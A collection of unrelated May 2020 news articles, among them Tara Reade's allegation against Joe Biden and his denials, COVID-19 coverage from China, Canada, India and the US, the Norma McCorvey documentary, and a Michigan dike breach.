In a newly-released interview Reade, 56, said that the alleged attack 'shattered' her.

Reade has alleged that when she was 29, the then 50-year-old Biden - who she worked for as a staff assistant at the time - sexually harassed and assaulted her. Biden and his spokespeople have denied the claims.

Reade (left) told Megyn Kelly (right) about how she suffers from bad dreams about the alleged incident with Biden and that she wakes up yelling 'stop'

'I wanted to say "stop," and I thought it,' Reade told Kelly in the interview which was released in full on Friday.

'I dont know if I said it,' Reade said, 'But sometimes, when Ive had a couple bad dreams or a few bad dreams about it, I wake up yelling that and I wake up yelling "stop."'

She told Kelly that one incident took place in the hallway of a Capitol Hill building in Spring 1993, following previous sexual harassment incidents.

Reade said that she had been told to go and give Biden, now 77, a gym bag and that was when he allegedly kissed and then assaulted her.

'He said I want to f*** you,' Reade said. 'And he said it low. And I was pushing away and I remember my knee hurting because our knees, because he had opened my legs with his knee and our kneecaps clashed, so I felt this sharp pain.'

Reade added that 'His fingers were inside of my private area, my vagina.'

She said that afterwards, Biden told her she 'was nothing' before walking away.

'I think that's the hardest thing,' she told Kelly. 'Those words stayed with me my whole life.'

'I remember small things,' Reade continued. 'I remember trying to put my shoe back on because I came out of my shoe and I remember my knee hurting and I remember the smell.'

During the interview, Reade said that she wanted Biden to end his presidential run and face the music.

Reade (pictured April 4) told Kelly she wants Biden to withdraw from his presidential bid

'I want to say you and I were there, Joe Biden, please step forward and be held accountable, you should not be running on character for president of the United States,' Reade told Kelly, who had asked what her message was for Biden.

Kelly followed up by asking Reade if she wanted Biden to withdraw from the presidential contest.

'I wish he would,' Reade answered. 'But he won't, but I wish he would, that's how I feel emotionally.

She previously wrote on social media that Americans should support Bernie Sanders, Biden's former Democratic primary rival.

Reade (in undated pictures) said that Biden had kissed her and assaulted her in the hallway of a Capitol Hill building in 1993 when she was 29 and a Biden staff assistant

She then told Kelly that an apology now wouldn't be sufficient. 'I think it's a little late,' Reade said.

Reade revealed to Kelly that she had taken her complaint to both Elizabeth Warren and Kamala Harris' presidential campaigns when they were still active.

'I tried to reach out to them,' Reade said. 'I didn't get a response.'

She said she chose Harris because as a Californian, the ex-2020 candidate is her senator.

Reade also told Kelly that she would testify under oath and be cross examined, but she'd only take a polygraph test if the former vice president took one first.

'I'm not a criminal,' Reade said. 'Joe Biden should take the polygraph. What kind of precedent does that set for survivors of violence? Does that mean we're presumed guilty? And we all have to take polygraphs.'

Biden has denied Reade's claims, saying that the assault 'unequivocally' did not happen

'So I will take one if Joe Biden takes one, but I am not a criminal,' Reade added.

Reade's interview with Kelly came a week after Biden 'unequivocally' denied the allegations during an on-air Morning Joe interview.

'Im saying it unequivocally: It never, never happened. And it didnt. It never happened,' Biden said.

After clips from Kelly's interview with Reade began being released Thursday, May 7, Bidens spokeswoman Kate Bedingfield said, according to People: 'Women must receive the benefit of the doubt.

'They must be able to come forward and share their stories without fear of retribution or harm  and we all have a responsibility to ensure that.

'At the same time, we can never sacrifice the truth. And the truth is that these allegations are false and that the material that has been presented to back them up, under scrutiny, keeps proving their falsity.'

Speaking with MSNBC's Lawrence O'Donnell on May 14, Biden was asked whether he remembered Ms Reade.

'Well, to be honest with you, I don't,' Biden said.

'But let me get something clear, when a woman makes a claim that she has been harassed or abused, and this claim has changed... she should be taken seriously,' Biden said.

During an interview with MSNBC (pictured), Biden said he did not remember Reade during her time working as one of his aide's when he was a Senator, but insisted that she should be taken seriously

'She should come forward, share her story, she should be taken seriously and it should be thoroughly vetted. And in every case, what matters is the truth. The truth is what matters.

'And the truth of the case is nothing like this ever, ever happened... I give you my word. It never, ever happened. I give you my word. It never, ever happened.'

Following Biden's denial, O'Donnell brought his attention to a New York Times opinion piece titled 'I Believe Tara Reade. I'm Voting for Joe Biden Anyway' in which the author says that despite believing the accusations, she would still vote for Biden over Donald Trump, writing 'suck it up and make the utilitarian bargain'.

In response, Biden said: 'Well, I think they should vote their heart and if they believe Tara Reade, they probably shouldn't vote for me. I wouldn't vote for me if I believed Tara Reade.

'The fact is that look at Tara Reade's story. It changes considerably. And I don't want to question her motive, I don't want to question anything other than to say the truth matters,' he told the MSNBC host.

'This is being vetted, it's been vetted, [by] people [and] scores of my employees over my whole career. This is just totally, thoroughly, completely out of character. And the idea that in a public place, in a hallway I would assault a woman? ... I promise you. It never happened.'
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Linkedin News Desk (Agence France-Presse) Beijing, China  Fri, May 22, 2020 08:45 608 fc6853813033f564188675f8bd989c01 2 World China,politics,US-China,US-China-tension-COVID-19,bilateral-spat,pandemic,coronavirus,COVID-19 Free

China's annual high-level political meetings opened Thursday with a minute's silence for the victims of the coronavirus pandemic and a threat to hit back at the US in an escalating blame game over the disease.

Delayed by two months because of the outbreak, the Chinese People's Political Consultative Conference (CPPCC) -- a largely ceremonial advisory body -- began its first session a day before the start of the country's most important legislative congress.

More than 2,000 delegates from across the country bowed their heads in silence after singing the national anthem in Beijing's Great Hall of the People.

The virus emerged in the central city of Wuhan before spreading around the world, infecting more than five million people and killing over 328,000, including more than 4,600 in China.

President Xi Jinping and the rest of the 25-member Politburo -- the Communist Party's top leadership body -- were in the middle of the central stage, the only attendees not wearing face masks.

State television showed hundreds of masked delegates in black business suits walking up the steps of the Great Hall shortly before the session began.

Known as the "Two Sessions", the yearly gathering of the CPPCC and the National People's Congress (NPC) involves thousands of delegates flocking to the capital for intensive meetings to discuss policy.

Originally scheduled for March, this year's meetings will be squeezed into six days and end May 28 instead of the usual 10 days, a parliament spokesman said.

Delegates were required to undergo multiple nucleic acid tests for the virus before taking part in the sessions, and must wear face masks throughout.

The number of journalists allowed into the Great Hall has been massively reduced with many press conferences and delegate interviews moved online as a virus prevention measure.

On Friday the NPC will open in highly choreographed meetings to rubber-stamp bills, budgets and personnel moves.

Ministers will also reveal key economic targets, military budgets and other strategic priorities that shed a light on the thinking of Communist Party leaders, as China emerges from the devastating aftermath of the coronavirus.

Issues including epidemic prevention and control, poverty alleviation, Hong Kong policy and job creation are expected to be high on this year's agenda.

US-China spat

Tensions with the United States over the virus are bound to crop up during the NPC after President Donald Trump and other American officials stepped up accusations that China was to blame for the global health crisis.

Republican senators proposed legislation last week that would empower Trump to slap sanctions on China if Beijing does not give a "full accounting" for the outbreak.

The US state of Missouri has also sued China's leadership over the coronavirus, seeking damages over what it described as deliberate deception and insufficient action to stop the pandemic.

"We firmly oppose these bills, and will make a firm response and take countermeasures based on the deliberation of these bills," NPC spokesman Zhang Yesui said at a news conference on Thursday.

"It is neither responsible nor moral to cover up one's own problems by blaming others. We will never accept any unwarranted lawsuits and demands for compensation," Zhang said.
Dr. Huchuan Xia and his partner, Erik Lorenz, put their makeshift nuptials into another gear.

Dr. Xia, who is known as Cedric, and Mr. Lorenz were married May 10 in a Quaker self-uniting ceremony in Philadelphia. The couple cycled a total of three hours across nine miles to seven outdoor locations around their adopted city that were both photogenic and personally meaningful to them.

At each of these locations  or stations, as they called it  the freewheeling couple were joined by one or two friends to celebrate in keeping with rules to avoid large crowds during the coronavirus pandemic.

By deconstructing a traditional wedding, we performed one wedding ritual at each station, drawn from either the German or Chinese traditions, said Dr. Xia, 29, a trainee in psychiatry at the University of Pennsylvania, where he received a Ph.D. in neuroscience. He graduated from Washington University in St. Louis.
The coronavirus pandemic had caused a lot of changes for many people in the country. Due to the pandemic, many leaders of the states in the United States of America had declared statewide stay-at-home orders to prevent the further spread of the novel coronavirus in the country. This order had also included the postponement of the operations of those that were classified as non-essential while businesses that were deemed as carrying out essential businesses were allowed to continue operations.

Based on an article, nonessential businesses had asked their employees to stay at home to prevent the spread of the novel coronavirus in the country. Also, schools had postponed their operations that had led to many children spending most of their time at home during the stay-at-home period. People were being asked by authorities to only leave their homes for essential reasons such as buying groceries and medicine.

For weeks, people have been spending a lot of time inside their homes. This may have some effects on the mental health of many people. Some may be feeling stressed or anxious about the uncertainty brought by the coronavirus pandemic.

Mental Health Awareness Month has been celebrated in May in the United States of America since 1949, according to an article. Also, the article reveals that one out of five people has encountered mental health issues.

Here are some methods on how you can cope with stress and anxiety brought by the coronavirus pandemic:

Acceptance

Sometimes, accepting anxiety as a natural part of human life can be a great cure itself. It means that the time you consider the feelings of anxiety as a part of being human, the better it will be for you to cope with it in the long term.

There may be ways to cope with anxiety in the short term such as drinking alcoholic beverages, watching a movie, and eating comfort food. Also, short term methods of relieving anxiety include getting assurance from family members.

Move on by by keeping yourself busy. It can be with online learning, exercise, learning new life skills, or even gradening. All of it would help a lot. Having enough brain stimuli with reading and activities will definitely help. The fulfillment you get would help you accept the current situation and help adapting to the new normalcy.

Take Deep Breaths

When you feel that anxiety is getting the best of you, you can pause and take deep breaths. Based on an article, taking deep breaths has the power to lessen stress and anxiety because it can help a person calm down. The article also states that a person calms down as more oxygen is circulated through the nervous system from deep breathing.

Check these out:

Take Care of Yourself

Even though the pandemic had caused you to overthink a lot of stuff, you still need to take care of yourself. It is important not to forget your overall well-being. Taking care of yourself such as having enough exercise and relaxing your mind can help cope with stress and anxiety. It means that if you keep yourself healthy, you will feel empowered to take on future challenges.
Chef Daniel Humm of Eleven Madison Park, who is used to being paid for fine dining with exclusive black credit cards, says his richest reward during the COVID-19 crisis is the grateful smiles of poor New Yorkers fed by the Michelin three-starred restaurant he has turned into a charity kitchen.

Cooks at his Manhattan eatery, which was named World's Best Restaurant in 2017 by the World's 50 Best Restaurants Academy, are preparing 3,000 meals a day for frontline workers and underprivileged New Yorkers, most of them distributed at a Harlem church.

"I had a person the other day who said, 'Oh my God, this is the best meal I've ever had,'" said Humm, standing inside his darkened, empty restaurant, which was shuttered in mid-March by the coronavirus pandemic.

Working alongside New York City-based nonprofit Rethink Food, which transforms restaurant leftovers into dishes for the disadvantaged, Humm and his staff have churned out some of the 90,000 meals being served each week to the needy during the pandemic.

"When this crisis started happening and we had to turn off the lights for a minute, we were a little bit in shock like everyone was," Humm said.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

"But then pretty quickly, we felt like we wanted to help in any way we can."

Stripped of its tablecloths and upscale clientele, the dining room looks lonely compared with the activity in the kitchen where meals are prepared for distribution at churches, soup kitchens, community centers and housing projects.

Humm transformed the kitchen into a commissary using private donations, and $250,000 donated by American Express, all of which went through Rethink Food.

After COVID-19 lockdown restrictions lift and some normalcy is restored, Humm knows he will continue cooking not just for the 1 percent but for those facing extreme poverty as well.

"Food is magical, it's so powerful," he said. "I mean, there are very few things in the world that touch everyone."

Follow our full coverage of the coronavirus pandemic here
The Tamil Nadu government on



Friday allowed auto and cycle-rickshaws to ply across the state, except here, from May 23 with conditions including a cap on passengers.

Vehicles in the Chennai city corporation police limit areas will not be allowed to ply, while those in containment zones also cannot run, a government release said.

In rest of the areas in the state, both auto and cycle-rickshaws can ply from 7 am to 7 pm, it said.

Besides the driver, there should be only one passenger in the vehicle, which should also be sprayed with disinfectants three times a day, the government said.

Further, both occupants of the vehicle must wear face masks and hand sanitizers must be made availavble in the vehicle for the passengers, while the drivers should regularly wash their hands using soap, it said.

The release said the government was announcing various relaxations to the ongoing coronavirus-induced lockdown, factoring in both the spread of the contagion as well as people's livelihood.

The government has already allowed relaxations including opening of shops and resumption of manufacturing and construction activities among others with considerable restrictions in place to prevent any possible spread of the pandemic.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Ottawa, May 22 : Canadian Prime Minister Justin Trudeau urged citizens to continue taking the COVID-19 pandemic seriously as a possible second wave of the deadly disease is looming ahead.

"One of the things we know is that in pandemics, there are usually second waves," Trudeau said during his press conference on Thursday.

"The question that we're very much focused on is that, as that second wave begins, or as we start to see resurgences in a reopened economy, how quickly are we able to contain them and control them?" he asked.

Canadian medical experts also warned of a second wave of COVID-19 infections in the country, reports Xinhua news agency.

Trudeau repeated his government's recommendation for Canadians to wear non-medical masks in a situation where physical distancing can not be maintained.

Some Canadian provinces have started to reopen the economy after the COVID-19 curve continues to show signs of flattening in Canada.

Trudeau stressed that it has never been more important to follow public health instructions.

"Keep washing your hands, stay home, and if you need to, wear a mask." He promised that his government is willing to help the provinces and territories in the country increase their testing and contact tracing capabilities against the COVID-19.

"It is going to be important to increase testing now but also make sure that as we move forward through the summer and obviously into the fall, we are ready to act extremely quickly so that the population at large won't be in situations of having to go back into confinement," Trudeau added.

So far, there have been 81,277 confirmed COVID-19 cases and 6,145 deaths in the country.
Director of the National Institute of Allergy and Infectious Diseases Anthony Fauci speaks at the White House in Washington on April 22, 2020. (Mandel Ngan/AFP via Getty Images)

Fauci Cautiously Optimistic About Leading CCP Virus Vaccine Candidate

Dr. Anthony Fauci said hes optimistic about one of the CCP virus vaccine candidates quickly moving through clinical trials.

Early positive results from a phase one trial of the candidate included all 45 participants producing antibodies and eight volunteers producing neutralizing antibodies, which bind to the CCP (Chinese Communist Party) virus.

Antibodies are a blood protein produced by the immune system to combat viruses and other foreign material.

The phase one trial involves giving vaccines in development to a limited number of people to see if its safe and effective enough to move to wider trials.

When youre developing a vaccine, theres always landmines and traps along the way to get in the way of a successful completion of developing a safe and effective vaccine, Fauci said late Thursday.

The question is, was it immediately safe? Clearly, it was. But, importantly, it induced the kind of response that you would predict would be protective against the virus, and thats whats called neutralizing antibodies.

A man stands outside an entrance to a Moderna building in Cambridge, Mass. on May 18, 2020. (Bill Sikes/AP Photo)

Using his hand to mimic the formation of a virus, Fauci said neutralizing antibodies are important because they bind to the business end of the virus and block its ability to infect.

So what we saweven though there was only eight individualswe saw neutralizing antibodies at a reasonable dose of a vaccine, and the titers were high enough to get us to believe, if we attain that in more peoplein a large number of peopleyou could predict that that vaccine would be protective, he added.

Although the numbers were limited, it was really quite good news because it reached and went over an important hurdle in development of vaccines. Thats the reason why I am cautiously optimistic about it.

Fauci, who heads the National Institute of Allergy and Infectious Diseases, an office inside the National Institutes of Health, was speaking during a CNN town hall. NIAID is helping fund trials of Modernas vaccine candidate.

Massachusetts-based Moderna still hasnt released the full dataset it touted recently. Its phase one trial is ongoing even as the company moves to start a phase two trial.

The company didnt respond to inquiries about when the data will be released and when the initial trial is expected to be completed.

During an interview with NPRs Morning Edition Friday, Fauci acknowledged the data hasnt been peer reviewed.

Having looked at the data myself, it is really quite promising, he said. The data will be peer reviewed at some point, he added, perhaps within the next few weeks. NIAID plans to submit the data to a journal for peer review.

Small bottles labeled with a Vaccine COVID-19 sticker and a medical syringe are seen in this illustration taken taken April 10, 2020. (Dado Ruvic/Illustration/Reuters)

Fauci said a vaccine could be ready to distribute at the end of the year.

The Moderna-produced vaccine is one of two candidates that appear to be furthest along in development.

The AZD1222 candidate, developed by British scientists, could arrive in the United States as early as October, federal officials said this week.

Another candidate under development produced neutralizing antibodies in mice and guinea pigs, Pennsylvania-based Inovio said Wednesday.

Inovios IN0-4800 candidate targets the major surface antigen Spike protein of the CCP virus, which causes the COVID-19 disease.

We are planning to utilize these positive preclinical results along with our upcoming animal challenge data and safety and immune responses data from our Phase 1 studies to support rapidly advancing this summer to a large, randomized Phase 2/3 clinical trial, Dr. J. Joseph Kim, Inovios president and CEO, said in a statement.

The vaccine was originally developed against MERS, the last coronavirus to jump from animals to humans.
BrusselsFew had imagined they would ever see the day when the European Commission would nudge Spain to increase spending. That day has come following a pandemic and an unprecedented economic crash. After lifting the caps on national deficit and borrowing, the Commission has advised all member states to step up spending in order to soften the blow of the crash and pave the way for recovery. After years of pushing an austerity agenda, now Brussels is asking Spain to do whatever is needed and then some. Specifically, Europe wants to see more spending on health care, an area where it has identified structural issues brought about by the budgetary cutbacks as well as coordination problems with the regional governments. Now it is time to spend, well worry about other stuff later. Such is the Commissions message, which also emphasises that, once the Covid-19 crisis is over, it will be time to concentrate on the deficit and national debt, once again. In a damning report, the Commission states that the pandemic has revealed existing structural problems, some of which derive from certain shortfalls in investment in physical infrastructures and shortcomings in the recruitment and working conditions of health workers. It also warns about regional disparities in terms of spending, physical resources and staff.

These are some of the issues which the Spanish government is expected to address first. But the public health care system is not Brussels only concern. The Commission also mentions shortcomings in the job market which Spain already exhibited before the pandemic, with one of the highest unemployment rates in the EU, a high incidence of temporary jobs and many people at risk of poverty or social exclusion.

This is why now Brussels is asking Spain to step up spending on employment and to ensure that benefits reach the families who have been worst hit by the crisis. Europe is particularly concerned about regions that are highly dependent on income from tourism, such as the Mediterranean coast, Andalusia, the Balearic and Canary Islands, where they expect the crisis to be even more severe. The report claims that preliminary data point to a very significant increase in the level of unemployment in Spain as a result of the crisis, which will weigh on the already limited capacity of employment services to support workers and employers and on social services.

Poor coordination with regional governments

The coordination between different levels of government is not always effective. Without going into detail, the Commission acknowledges that the Spanish government is struggling to coordinate public health policies and the lifting of the lockdown restrictions with the countrys regional authorities. This comes as the debate on whether the state of emergency should be extended is raging. Spanish government sources have reacted to the Commissions advice by stating that we have strengthened our coordination efforts with the regional governments and, more widely, they argue that the public health system has been boosted, too.

Pedro Sanchezs administration also points out that they have improved the capabilities of the national health service with additional staff and it concludes that Brussels recommendations are in line with the Spanish governments economic policies.

Renewed concern about the deficit

Brussels new discourse is entirely at odds with the response it gave to the previous recession, when it insisted on cutting spending and rushed to impose an austerity agenda which was eventually put into question. This is why now the European Commissioner for Economy, Paolo Gentiloni, has stressed that this time around the EU cannot afford to make the same mistakes it made in the past, with public spending as the first victim of the crisis. Gentiloni has also insisted that the recession should not widen the gap between countries, regions and citizens.

At the same time, Brussels has noted that eventually Europe will need to return to a prudent fiscal policy. That is, to bring back the policies needed to curb the deficit and public debt whose targets Spain had failed to meet in 2019, as noted in the Commissions report. Valdis Dombrovskis, the Executive Vice President for an Economy that Works referred to this, as does the Council Opinion on Spain when it points out that Spains public spending was excessive. Thats why Madrid also insists that we will get back on the path of reining in our deficit and public debt once the economy has recovered and we remain firmly committed to our budget target.

This has also prompted the Commission to insist that the relief package for member states that will be unveiled next week must be tied to structural reforms and follow the recommendations issued every six months. Southern European countries are concerned about this condition because it involves making cutbacks, but their northern European partners feel it is only logical to demand reforms and monitor the spending of funds contributed by all member states. The Prime Minister of The Netherlands, Mark Rutte, said that much on Wednesday this week.
Source: Xinhua| 2020-05-22 16:02:52|Editor: Xiaoxia

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BEIJING, May 22 (Xinhua) -- The impact of the COVID-19 epidemic on China's economy is significant but will be short-term and temporary, a senior official with the country's top economic planning body said Friday.

He Lifeng, head of the National Development and Reform Commission, spoke to journalists on the sidelines of the third session of the 13th National People's Congress, China's national legislature, which opened Friday.

"Judging from the fundamentals of China's economy, the positive development trend has not changed," said He. "The agricultural industry continued to maintain a good development trend. Emerging industries enjoy a good growth momentum, while traditional industries are recovering well."

The consumption sectors in the tertiary industry, which bore the brunt of the epidemic, were also rebounding in a strong and orderly manner, according to He.

China is able and determined to continue to promote the steady, sound, and sustainable development of the economy, he said. Enditem
Hyderabad: A hospital visit to meet one of their family members, who was diagnosed with Covid-19 disease, has resulted in 15 members of the Alampally family from Vanasthalipuram getting infected with Coronavirus and also led to the death of 42-year-old Madhusudan.

While the family was quarantined in different wards in Gandhi Hospital, 42-year-old Madhusudan was shifted to an intensive care unit as he had developed bilateral pneumonia. He was the elder brother of the man, who was first to get infected in the family.

Madhusudans health condition was stated to be serious when he was admitted to the hospital and it got further worsened. Despite the best efforts of doctors, he passed away at 6 pm on May 1. The younger brother, who is a trader at Malakpet market, has survived.

His wife Alampally Madhavi and other members had mild symptoms and were discharged on May 16 after recovering from the disease. When Ms Madhavi enquired about her husband, Gandhi Hospital authorities initially told her that he was put on a ventilator support and later said that he was dead.

Angry with the lack of clarity by the hospital authorities, Ms Madhavi tweeted

minister K.T. Rama Rao seeking his help to get clarity on the health condition

of her husband.

For the last one week, I have been inquiring about my husband with hospital officials and police. There is no clarity about what happened to him. If they had cremated him, why didnt they take permission from us? Give us video and photo evidence of the same. I was not even shown his body. We all were in the hospital. We do not know whom police and Gandhi Hospital authorities have

contacted, she tweeted.

The family could not come to terms with the cremation of Madhusudan, but the Gandhi Hospital superintendent Dr M. Rajarao said the due process was followed by the hospital authorities.

Police contacted the family members but no one came forward to cremate. So GHMC had to carry out the process. We sympathise with the family members as they were in the hospital undergoing treatment. But it is wrong to blame the hospital which has followed procedure, said Dr M. Rajarao.

If no one had come forward, I should have been informed about it at the hospital

itself, argued Ms Madhavi.
The pro-life movement has always loved a conversion story. People who reject their former lives working for pro-choice causes are some of the most prominent voices in the movement, and the existence of abortion regreta woman changing her mind after its too lateis a key legislative and rhetorical tactic. So when the real-life Jane Roe of Roe v. Wade announced two decades after that landmark Supreme Court case that she had realized abortion ought to be illegal after all, she became an instant star within the pro-life movement.

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A bombshell documentary airing Friday night on FX adds a final shocking twist to Norma McCorveys ideologically eventful life. In AKA Jane Roe, McCorvey offers what she calls a deathbed confession: Actually, she was basically pro-choice all along and only became a pro-life activist for the money. It was a mutual thing, she tells director Nick Sweeney. I took their money, and they took me out in front of the cameras and told me what to say. Sweeney displays tax documents revealing that McCorvey received at least $450,000 from pro-life groups over the course of her years as an activist, often classified as benevolent gifts. If a young woman wants to have an abortion, McCorvey says, thats no skin off my ass. Thats why they call it choice.

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News of McCorveys apparent about-face broke in the Daily Beast earlier this week. Now, pro-life activists are attempting to reconcile McCorveys statements on film with the woman who fought alongside them for two decades. (McCorvey died in 2017.) So far, they are standing by their old friend and dismissing the documentaryor at least the initial coverage of itas misleading or manipulative.

Frank Pavone, the head of Priests for Life and McCorveys longtime spiritual mentor, told me he remained close with McCorvey until her death and is confident McCorvey retained her core convictions against abortion. But he also described her as a fiercely independent woman whose views on the issue were always more complicated than media narratives captured. People look at her story like, First she was pro-choice, then she was pro-life, and at the end maybe she changed back again. No, its not that simple, he said. When she came over to the pro-life movement, it wasnt all that much of a change. It was a different emphasis. It was a matter of: What side of your ambivalence are you going to emphasize? Pavone said McCorvey was disillusioned by some of her relationships with other pro-life activists near the end of her lifePavone said she felt that many people had fallen out of touch with her after she moved into assisted livingand speculates that her provocative quotes in the documentary could have just been a way of venting.

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Abby Johnson, a former Planned Parenthood clinic director who is now a prominent anti-abortion activist, told me that McCorvey called her out of the blue just a few days before she died. They had never met. She wanted to know if I believed that when she died, if she would be held accountable for all the babies who were killed because of her, Johnson said. I dont have any problem believing that in the last year of her life that she tried to convince herself abortion was OK. But I know at the end of her life, she did not believe that. Johnson said she tried to reassure McCorvey over the phone that legal abortion was not her burden to carry.

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Johnson described McCorvey as a vulnerable, confused, and complicated woman who in hindsight should not have been thrust into the spotlight so quickly after her conversion. Johnson views McCorvey as having been used by the pro-choice movement in the 1973 suit that made her famous. But was she [also] used by the pro-life movement? Yeah, she said. Not intentionally, not maliciously, but that had to feel like a huge win.

Ann Scheidler, the vice president of the Pro-Life Action League, first met McCorvey at a pro-life conference in the mid-1990s, soon after her conversion to the cause. Scheidler invited McCorvey to speak at an event in Chicago, and McCorvey later testified in an Illinois court case in which the National Organization for Women accused Scheidlers husband of racketeering. Her organization paid McCorveys travel expenses but did not otherwise compensate her, Scheidler said. They ran into each other occasionally afterward, sometimes grabbing a couple of drinks at the March for Life. The McCorvey she knew was fun, unsophisticated, and occasionally outlandish, but a sincere believer in the pro-life cause. I never thought to question it, she said. She definitely agonized over her role in abortion.

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Other anti-abortion activists have expressed similar confidence publicly in the run-up to the documentarys debut. Twenty-six activists who say they knew McCorvey signed an open letter calling on FX to release unedited footage of Sweeneys interviews with her. Most of us have seen caricatures of ourselves in the media made possible by selective editing, outright omissions, and direct falsehoods, the group wrote. The statements signatories include the president of Operation Rescue, Troy Newman; the president Students for Life of America, Kristan Hawkins; and Pavone.

The documentary itself does paint a much more subtle portrait of McCorvey than the headlines about her deathbed confession suggest. McCorvey does not seem to have made an ideological U-turn in direct exchange for cash. Rather, it seems that she may never have had terribly firm convictions to begin with and was motivated more by practical and psychological needs than political goals. The payments, for one, are hardly scandalous: Being paid for speaking appearances is standard across the political spectrum, and the mere fact that a spokesperson is being paid doesnt mean they are not sincere.

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McCorvey did not start out as an activist of any kind. She was 21, poor, and pregnant for the third time when she was referred to two Texas lawyers looking for a pregnant plaintiff to challenge the states abortion law. The case took three years to reach the Supreme Court. McCorvey never got an abortion, and all three of her children were adopted or raised by family members. McCorvey embraced her legacy as Jane Roe and became a prominent pro-choice activist in the late 1980s with the help of Gloria Allred, who obtained public speaking lessons for her and ushered her around to rallies and media appearances. AKA Jane Roe features a clip of Holly Hunter winning an Emmy for portraying a character based on McCorvey in a 1989 TV movie. McCorvey was a paid consultant on the film, though she bristled at the fact that her lawyers were paid almost three times as much as she was.

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AKA Jane Roe portrays the mainstream pro-choice movement at large holding McCorvey at arms length. McCorvey had testified under oath in the Roe case that she had become pregnant by gang rape, but in 1987, she told a Dallas newspaper columnist she had lied. The admission didnt imperil the legal ruling, but it made activists wary of relying on McCorvey as a spokesperson. The documentary captures McCorvey milling around at a pro-choice rally in Washington, apparently miffed about not being asked to speak.

Some pro-life activists were apparently less cautious when McCorvey appeared to undergo a sincere and dramatic conversion in the mid-1990s after befriending Flip Benham, the head of the attention-getting anti-abortion group Operation Rescue, and McCorvey quickly started appearing at rallies and conferences for the other side. The price was high: McCorvey was in a long-term romantic relationship with a woman, Connie Gonzalez, which she apparently gave up at the urging of her new, socially conservative friends. (The women continued to live together for another decade, but they both told interviewers that their sexual relationship ended. Gonzalez died in 2015.)

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In a deeply reported 2013 profile of McCorvey in Vanity Fair, reporter Joshua Prager portrays McCorvey as an opportunist more than a moralist. In 1988, when McCorvey was still a pro-choice activist, she worked with an advertising executive and others to print 1,000 copies of the Roe decision for her to sign and sell. I think its accurate to say that [we] were manipulating Norma, the executive told Prager, and that Norma was manipulating us. Benham told Prager that he helped McCorvey negotiate an $80,000 deal for her second memoir, Won by Love, published by an evangelical press in 1998. Her previous memoir, I Am Roe, had come out just four years earlier. McCorvey declined to participate in the Vanity Fair profile after demanding, and being refused, a $1,000 fee.

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Indeed, McCorveys defenders this week have suggested money could have played a role in her final on-camera conversion, too. Pavone told me McCorvey texted him that she had charged to appear in the documentary and was excited to have some bucks at the end. Screenshots of those texts were published earlier this week by the anti-abortion site LifeNews. McCorveys former lawyer Allan Parker issued a statement on Wednesday speculating that producers paid Norma, befriended her and then betrayed her. (Parker represented McCorvey from 2000 to 2005 in her unsuccessful legal attempts to have Roe v. Wade overturned.) Sweeney told the Daily Beast that he did not pay McCorvey directly for her participation in the documentary but did pay her to license her personal photographs.

Public opinion polls suggest Americans themselves have conflicted, and sometimes contradictory, attitudes toward abortion. Maybe that makes Norma McCorvey, with her lifetime of messy inconsistencies, a perfect avatar for the abortion debate after all. All Im simply doing is watching out for Normas salvation and Normas ass, McCorvey says in an undated clip in the documentary. And its just that simple.

For more of Slates news coverage, listen to What Next: TBD.
SAGINAW, MI  Some residents of Saginaw County were being urged to evacuate their homes on Thursday, May 21, due to a dike breach thats causing flooding.

The breach has occurred in Spaulding Township, a community located just southwest of the city of Saginaw. The township encompasses much of the marshy Shiawassee National Wildlife Refuge.

Emergency officials were advising residents west of M-13 living on Houlihan, Mower, Moore and Curtis roads to evacuate, according to late Thursday, Facebook post by the Spaulding Township Fire Department.

A dike breach has caused the water to rise and is still coming up, reads the post.

Officials there werent immediately available for comment.

According to the Bridgeport Fire Department, the area of Spaulding being asked evacuate is due to rising waters of the Cass River and a breach in the dike on Birch Run Creek.

National guard has arrived to assist Posted by Spaulding Township Fire Department on Thursday, May 21, 2020

Calls have been made to residents in the evacuation zone and first responders are going door to door to notify residents. Some residents have been removed by boats from Bridgeport and Frankenmuth fire departments and will be taken to the shelter at Center Courts.

Multiple agencies, including the U.S. National Guard are in Spaulding Township to help with evacuations. A short video on the Spaulding Fire Department Facebook page shows several large National Guard trucks rolling into the township.

The evacuations come just days after thousands of residents throughout mid-Michigan were forced to evacuate due to the failure of the Edenville and Sanford dams in Midland County, which sent a deluge of water down the flooded Tittabawassee River. That river continues into Saginaw County and ends at the Saginaw River, just north of Spaulding Township.

Related news:

Flooding in Michigan: Everything we know about Midland County dam break

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As the water bodies across the country have become cleaner during the nationwide lockdown, Union Jal Shakti minister Gajendra Singh Shekhawat on Friday said this is a time to introspect and work towards making India a water-secured nation.

With the country under lockdown for about two months to contain the spread of the deadly coronavirus, air and water pollution levels have come down as most industries, except those into production of essential goods, were shut and people stayed home after offices were closed.

This resulted in almost all water bodies in the country becoming cleaner.

"During the lockdown period, everyone noticed that the rivers have become cleaner.There are three reasons for water pollution -- sewage, industrial effluents and human interactions," Shekhawat said during a virtual CII water summit.

Out of these, industry and the human interactions were closed due to the lockdown, resulting in cleaner water bodies, according to the minister, who urged everyone to introspect and "works towards making India a water secure nation".

He further said that during the lockdown period, as per the instructions of Prime Minister Narendra Modi, samples of Ganga water were taken to study how much pollution iscontributed through industrial effluents, which can be used for future planning.

Sharing his experience of a rafting expedition done last year from Devprayag to Rishikesh, the minister said that the water in that stretch of 90-odd kilometres was clean and even potable.

